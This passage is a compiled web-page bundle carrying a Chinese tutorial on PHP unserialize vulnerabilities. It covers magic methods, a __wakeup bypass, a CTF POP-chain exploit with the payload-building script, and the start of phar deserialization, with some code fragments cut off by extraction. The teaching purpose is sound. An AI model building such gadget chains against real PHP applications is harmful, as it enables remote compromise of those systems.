006\u7684\u6570\u636e\u7ed3\u6784\uff0c\u9006\u5411\u7684\u8fc7\u7a0b\u5c31\u662f\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728 PHP \u4e2d\u4e3b\u8981\u5c31\u662f\u901a\u8fc7",(0,r.jsx)(e.code,{children:"serialize"}),"\u548c",(0,r.jsx)(e.code,{children:"unserialize"}),"\u6765\u5b9e\u73b0\u6570\u636e\u7684\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6f0f\u6d1e\u662f\u5982\u4f55\u5f62\u6210\u7684\u5462\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"PHP \u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e3b\u8981\u662f\u56e0\u4e3a\u672a\u5bf9\u7528\u6237\u8f93\u5165\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u8fdb\u884c\u68c0\u6d4b\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\uff0c\u4ece\u800c\u5c31\u53ef\u4ee5\u5bfc\u81f4\u5404\u79cd\u5371\u9669\u884c\u4e3a\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u5148\u6765\u770b\u4e00\u770b\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\u683c\u5f0f\u662f\u600e\u6837\u7684\uff0c\u4e86\u89e3\u4e86\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\uff0c\u6211\u4eec\u624d\u80fd\u66f4\u597d\u7684\u7406\u89e3\u548c\u5229\u7528\u6f0f\u6d1e\u3002\u6240\u4ee5\u6211\u4eec\u6765\u6784\u9020\u4e00\u6bb5\u5e8f\u5217\u5316\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nO:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}\n'})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648098.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u8fd8\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f\u5173\u4e8e\u53d8\u91cf\u7684\u5206\u7c7b\uff0c\u53d8\u91cf\u7684\u7c7b\u522b\u6709\u4e09\u79cd\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"public\uff1a\u6b63\u5e38\u64cd\u4f5c\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u539f\u578b\u5c31\u884c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"protected\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00*%00\u3002"}),"\n",(0,r.jsx)(e.li,{children:"private\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00\u7c7b\u540d%00\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5e8f\u5217\u5316\u6211\u4eec\u77e5\u9053\u4e86\u662f\u4e2a\u4ec0\u4e48\u683c\u5f0f\uff0c\u90a3\u4e48\u5982\u4f55\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6765\u89e6\u53d1\u6f0f\u6d1e\u8fdb\u884c\u5229\u7528\u5462\uff1f"}),"\n",(0,r.jsx)(e.h3,{id:"__wakeup",children:"__wakeup()"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u6211\u4eec\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u4f1a\u5148\u68c0\u67e5\u7c7b\u4e2d\u662f\u5426\u5b58\u5728",(0,r.jsx)(e.code,{children:"__wakeup()"}),"\u5982\u679c\u5b58\u5728\uff0c\u5219\u6267\u884c\u3002\u4f46\u662f\u5982\u679c\u5bf9\u8c61\u5c5e\u6027\u4e2a\u6570\u7684\u503c\u5927\u4e8e\u771f\u5b9e\u7684\u5c5e\u6027\u4e2a\u6570\u65f6\u5c31\u4f1a\u8df3\u8fc7",(0,r.jsx)(e.code,{children:"__wakeup()"}),"\u6267\u884c",(0,r.jsx)(e.code,{children:"__destruct()"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u5f71\u54cd\u7248\u672c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"PHP5 < 5.6.\nPHP7 < 7.0.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'";\n\n echo highlight_file($this->name, true); \n } \n \n\n function __wakeup(){ \n echo "wakeup\u6267\u884c
";\n $this->name=\'1.php\'; \n } \n }\n\t$data = \'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}\';\n\tunserialize($data);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648099.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__sleep",children:"__sleep()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"__sleep()"}),"\u51fd\u6570\u521a\u597d\u4e0e",(0,r.jsx)(e.code,{children:"__waeup()"}),"\u76f8\u53cd\uff0c\u524d\u8005\u662f\u5728\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u65f6\u88ab\u8c03\u7528\uff0c\u540e\u8005\u662f\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u88ab\u8c03\u7528\u3002\u90a3\u4e48\u8be5\u5982\u4f55\u5229\u7528\u5462\uff1f\u6211\u4eec\u770b\u770b\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'name=$name;\n }\n\t\t\n\t\tfunction __sleep(){\n\t\t\techo "sleep()\u6267\u884c
";\n\t\t\techo highlight_file($this->name, true);\n\t\t}\n\t\t\n\t\tfunction __destruct(){\n\t\t\techo "over
";\n\t\t}\n\t\t\n function __wakeup(){ \n echo "wakeup\u6267\u884c
"; \n } \n }\n\t$a = new Ameng("2.php");\n\t$b = serialize($a);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648100.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__destruct",children:"__destruct()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5176\u5b9e\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\u5df2\u7ecf\u663e\u793a\u4e86\uff0c\u5c31\u662f\u5728\u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\u8c03\u7528\uff0c\u5018\u82e5\u8fd9\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u4e4b\u7c7b\u7684\u529f\u80fd\uff0c\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\u6765\u8fdb\u884c\u6f0f\u6d1e\u7684\u5229\u7528\uff0c\u5f97\u5230\u81ea\u5df1\u60f3\u8981\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"__construct",children:"__construct()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5728",(0,r.jsx)(e.code,{children:"__sleep()"}),"\u4e5f\u662f\u4f53\u73b0\u4e86\u7684\uff0c\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u5728\u4e00\u4e2a\u5bf9\u8c61\u88ab\u521b\u5efa\u65f6\u4f1a\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u6bd4\u5982\u6211\u5728",(0,r.jsx)(e.code,{children:"__sleep()"}),"\u4e2d\u7528\u8fd9\u4e2a\u51fd\u6570\u6765\u5bf9\u53d8\u91cf\u8fdb\u884c\u8d4b\u503c\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"__call",children:"__call()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u7528\u6765\u76d1\u89c6\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u7684\u5176\u4ed6\u65b9\u6cd5\u3002\u5f53\u4f60\u5c1d\u8bd5\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u7684\u6216\u8005\u88ab\u6743\u9650\u63a7\u5236\u7684\u65b9\u6cd5\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"__call"}),"\u5c31\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'"."call\u6267\u884c\u5931\u8d25";\n\t\t}\n\t\t\n\t\tpublic static function __callStatic($name,$args){\n\t\t\techo "
"."callStatic\u6267\u884c\u5931\u8d25";\n\t\t}\n }\n\t$a = new Ameng;\n\t$a->b();\n\tAmeng::b();\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648101.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__callstatic",children:"__callStatic()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u65b9\u6cd5\u662f PHP5.3 \u589e\u52a0\u7684\u65b0\u65b9\u6cd5\u3002\u4e3b\u8981\u662f\u8c03\u7528\u4e0d\u53ef\u89c1\u7684\u9759\u6001\u65b9\u6cd5\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528\u3002\u5177\u4f53\u4f7f\u7528\u5728\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u548c\u7ed3\u679c\u53ef\u89c1\u3002\u90a3\u4e48\u8fd9\u4e24\u4e2a\u51fd\u6570\u6709\u4ec0\u4e48\u503c\u5f97\u6211\u4eec\u5173\u6ce8\u7684\u5462\uff1f\u60f3\u4e00\u60f3\uff0c\u5018\u82e5\u8fd9\u4e24\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u8c03\u7528\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u65b9\u6cd5\u65f6\u5c31\u53ef\u4ee5\u8c03\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u8fd9\u4e0d\u5c31\u8fbe\u5230\u6211\u4eec\u60f3\u8981\u7684\u76ee\u7684\u4e86\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"__get",children:"__get()"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u603b\u662f\u628a\u7c7b\u7684\u5c5e\u6027\u5b9a\u4e49\u4e3aprivate\u3002\u4f46\u6709\u65f6\u5019\u6211\u4eec\u5bf9\u5c5e\u6027\u7684\u8bfb\u53d6\u548c\u8d4b\u503c\u662f\u975e\u5e38\u9891\u7e41\uff0c\u8fd9\u4e2a\u65f6\u5019PHP\u5c31\u63d0\u4f9b\u4e86\u4e24\u4e2a\u51fd\u6570\u6765\u83b7\u53d6\u548c\u8d4b\u503c\u7c7b\u4e2d\u7684\u5c5e\u6027\u3002"}),"\n",(0,r.jsx)(e.p,{children:"get\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u6210\u5458\u5c5e\u6027\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//__get()\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u5c5e\u6027\npublic function __get($name){\nreturn $this->$name;\n}\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-29",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"$name\uff1a\u8981\u83b7\u53d6\u6210\u5458\u5c5e\u6027\u7684\u540d\u79f0\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"__set",children:"__set()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u65b9\u6cd5\u7528\u6765\u7ed9\u79c1\u6709\u6210\u5458\u5c5e\u6027\u8d4b\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//__set()\u65b9\u6cd5\u7528\u6765\u8bbe\u7f6e\u79c1\u6709\u5c5e\u6027\npublic function __set($name,$value){\n$this->$name = $value;\n}\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-30",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"$name\uff1a\u8981\u8d4b\u503c\u7684\u5c5e\u6027\u540d\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$value\uff1a\u7ed9\u5c5e\u6027\u8d4b\u503c\u7684\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"__isset",children:"__isset()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u662f\u5f53\u6211\u4eec\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u5c5e\u6027\u8c03\u7528",(0,r.jsx)(e.code,{children:"isset()"}),"\u6216\u8005",(0,r.jsx)(e.code,{children:"empty()"}),"\u65f6\u8c03\u7528\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u8fd9\u4e4b\u524d\u6211\u4eec\u8981\u5148\u4e86\u89e3\u4e00\u4e0b",(0,r.jsx)(e.code,{children:"isset()"}),"\u51fd\u6570\u7684\u4f7f\u7528\u3002",(0,r.jsx)(e.code,{children:"isset()"}),"\u51fd\u6570\u68c0\u6d4b\u67d0\u4e2a\u53d8\u91cf\u662f\u5426\u88ab\u8bbe\u7f6e\u4e86\u3002\u6240\u4ee5\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u6211\u4eec\u4f7f\u7528\u8fd9\u4e2a\u51fd\u6570\u53bb\u68c0\u6d4b\u5bf9\u8c61\u91cc\u9762\u7684\u6210\u5458\u662f\u5426\u8bbe\u5b9a\uff0c\u90a3\u4e48\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsxs)(e.p,{children:["\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u516c\u6709\u6210\u5458\uff0c\u90a3\u6ca1\u4ec0\u4e48\u95ee\u9898\u3002\u5018\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u79c1\u6709\u6210\u5458\uff0c\u90a3\u8fd9\u4e2a\u51fd\u6570\u5c31\u4e0d\u884c\u4e86\uff0c\u4eba\u5bb6\u6839\u672c\u5c31\u4e0d\u5141\u8bb8\u4f60\u8bbf\u95ee\uff0c\u4f60\u548b\u80fd\u68c0\u6d4b\u4eba\u5bb6\u662f\u5426\u8bbe\u5b9a\u4e86\u5462\uff1f\u90a3\u6211\u4eec\u8be5\u600e\u4e48\u529e\uff1f\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u5728\u7c7b\u91cc\u9762\u52a0\u4e0a",(0,r.jsx)(e.code,{children:"__isset()"}),"\u65b9\u6cd5\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"isset()"}),"\u5728\u5bf9\u8c61\u5916\u9762\u8bbf\u95ee\u5bf9\u8c61\u91cc\u9762\u7684\u79c1\u6709\u6210\u5458\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __isset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528isset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\techo isset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648102.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"__unset",children:"__unset()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u65b9\u6cd5\u57fa\u672c\u548c",(0,r.jsx)(e.code,{children:"__insset"}),"\u60c5\u51b5\u4e00\u81f4\uff0c\u90fd\u662f\u5728\u7c7b\u5916\u8bbf\u95ee\u7c7b\u5185\u79c1\u6709\u6210\u5458\u65f6\u8981\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u57fa\u672c\u8c03\u7528\u7684\u65b9\u6cd5\u548c\u4e0a\u9762\u4e00\u81f4\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __unset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528unset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\tunset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648103.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"tostring",children:"toString()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e00\u4e2a\u5bf9\u8c61\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u6765\u4f7f\u7528\u65f6\uff0c\u5c31\u4f1a\u81ea\u52a8\u8c03\u7528\u8be5\u65b9\u6cd5\uff0c\u4e14\u5728\u8be5\u65b9\u6cd5\u4e2d\uff0c\u53ef\u4ee5\u8fd4\u56de\u4e00\u5b9a\u7684\u5b57\u7b26\u4e32\uff0c\u6765\u8868\u793a\u8be5\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\u4e4b\u540e\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u8bbf\u95ee\u7c7b\u7684\u5c5e\u6027\u7684\u65f6\u5019\u90fd\u662f",(0,r.jsx)(e.code,{children:"$\u5b9e\u4f8b\u5316\u540d\u79f0->\u5c5e\u6027\u540d"}),"\u8fd9\u6837\u7684\u683c\u5f0f\u53bb\u8bbf\u95ee\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5echo\u53bb\u8f93\u51fa\u5bf9\u8c61\uff0c\u53ef\u662f\u5f53\u6211\u4eec\u4f7f\u7528",(0,r.jsx)(e.code,{children:"__tostring()"}),"\u5c31\u53ef\u4ee5\u76f4\u63a5\u7528echo\u6765\u8f93\u51fa\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __toString(){\n return $this->name . $this->age . '\u5c81\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\techo $ameng;\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-text",children:"Ameng3\u5c81\u4e86\n"})}),"\n",(0,r.jsx)(e.h3,{id:"__invoke",children:"__invoke()"}),"\n",(0,r.jsxs)(e.p,{children:["\u5f53\u5c1d\u8bd5\u4ee5\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u65f6\uff0c",(0,r.jsx)(e.code,{children:"__invoke()"}),"\u65b9\u6cd5\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7248\u672c\u8981\u6c42\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"PHP > 5.3.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __invoke(){\n echo '\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\t$ameng();\n?>\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\n"})}),"\n",(0,r.jsx)(e.h3,{id:"pop\u94fe\u7684\u6784\u9020",children:"pop\u94fe\u7684\u6784\u9020"}),"\n",(0,r.jsx)(e.h3,{id:"\u601d\u8def",children:"\u601d\u8def"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bfb\u627e\u4f4d\u70b9\uff08unserialize\u51fd\u6570\u2014>\u53d8\u91cf\u53ef\u63a7\uff09"}),"\n",(0,r.jsx)(e.li,{children:"\u6b63\u5411\u6784\u9020\uff08\u5404\u79cd\u65b9\u6cd5\uff09"}),"\n",(0,r.jsx)(e.li,{children:"\u53cd\u5411\u63a8\u7406\uff08\u4ece\u8981\u5b8c\u6210\u7684\u76ee\u7684\u51fa\u53d1\uff0c\u53cd\u5411\u63a8\u7406\uff0c\u6700\u540e\u627e\u5230\u6700\u5148\u88ab\u8c03\u7528\u7684\u4f4d\u7f6e\u5904\uff09"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50(HECTF)\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'token_flag = $this->token = md5(rand(1,10000));\n $this->token =&$this->token_flag;\n }\n public function __invoke(){\n $this->token_flag = md5(rand(1,10000));\n \n if($this->token === $this->token_flag)\n {\n echo "flag{**********}";\n }\n }\n}\nclass Show\n{\n public $source;\n public $str;\n public function __construct()\n {\n echo $this->source."
";\n }\n\n public function __toString()\n {\n $this->str[\'str\']->source;\n }\n public function __wakeup()\n {\n if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) {\n echo "hacker~";\n $this->source = "index.php";\n }\n }\n}\n\nclass Test\n{\n public $params;\n public function __construct()\n {\n $this->params = array();\n }\n\n public function __get($key)\n {\n $func = $this->params;\n return $func();\n }\n}\nif(isset($_GET[\'chal\']))\n{\n $chal = unserialize($_GET[\'chal\']);\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u8981\u62ff\u5230flag\uff0c\u5728",(0,r.jsx)(e.code,{children:"__invoke()"}),"\u51fd\u6570\uff0c\u5f53\u5bf9\u8c61\u88ab\u5f53\u4f5c\u51fd\u6570\u8c03\u7528\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u81ea\u52a8\u6267\u884c\u8be5\u51fd\u6570\u3002\u6240\u4ee5\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u7528\u51fd\u6570\u6765\u8c03\u7528\u5bf9\u8c61\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u9996\u5148\u627e\u5230\u8d77\u70b9\uff0c\u5c31\u662funserialize\u51fd\u6570\u7684\u53d8\u91cf\uff0c\u56e0\u4e3a\u8fd9\u4e2a\u53d8\u91cf\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff0c\u4f46\u662f\u80af\u5b9a\u662f\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u5e38\u89c1\u7684\u534f\u8bae\uff0c\u90a3\u4e9b\u534f\u8bae\u6211\u5728\u4e0a\u9762\u4e5f\u7b80\u5355\u4ecb\u7ecd\u8fc7\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u51fd\u6570\u7684\u8fc7\u7a0b\u641c\u7d22\uff0c\u6211\u4eec\u80fd\u591f\u770b\u5230preg_match\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4f1a\u88ab\u5f53\u4f5c\u5b57\u7b26\u4e32\u5904\u7406\uff0c\u5728\u7c7bTest\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u7ed9$func\u8d4b\u503c\u7ed9Read\u5bf9\u8c61\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u5982\u4e0bpop\u94fe"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"token = &$read->token_flag;\n $test->params = $read;\n $show->str['str'] = $test;\n $show->source = $show;\n echo serialize($show);\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u7ed9\u4e2a\u56fe\u603b\u7ed3\u4e00\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648104.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",children:"phar\u4e0e\u53cd\u5e8f\u5217\u5316"}),"\n",(0,r.jsx)(e.h4,{id:"\u7b80\u4ecb-1",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(e.p,{children:'PHAR\uff08"PHP archive"\uff09\u662fPHP\u91cc\u7c7b\u4f3cJAR\u7684\u4e00\u79cd\u6253\u5305\u6587\u4ef6\uff0c\u5728PHP > 5.3\u7248\u672c\u4e2d\u9ed8\u8ba4\u5f00\u542f\u3002\u5176\u5b9e\u5c31\u662f\u7528\u6765\u6253\u5305\u7a0b\u5e8f\u7684\u3002'}),"\n",(0,r.jsx)(e.h4,{id:"\u6587\u4ef6\u7ed3\u6784",children:"\u6587\u4ef6\u7ed3\u6784"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["a stub\uff1a",(0,r.jsx)(e.code,{children:"xxx"}),"\u524d\u9762\u5185\u5bb9\u4e0d\u9650\uff0c\u540e\u9762\u5fc5\u987b\u4ee5",(0,r.jsx)(e.code,{children:"__HALT_COMPILER();?>"}),"\u7ed3\u5c3e\uff0c\u5426\u5219phar\u6269\u5c55\u65e0\u6cd5\u5c06\u8be5\u6587\u4ef6\u8bc6\u522b\u4e3aphar\u6587\u4ef6\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsx)(e.p,{children:"\u5b98\u65b9\u624b\u518c"}),"\n",(0,r.jsx)(e.p,{children:"phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u4e0a\u8ff0\u653b\u51fb\u624b\u6cd5\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e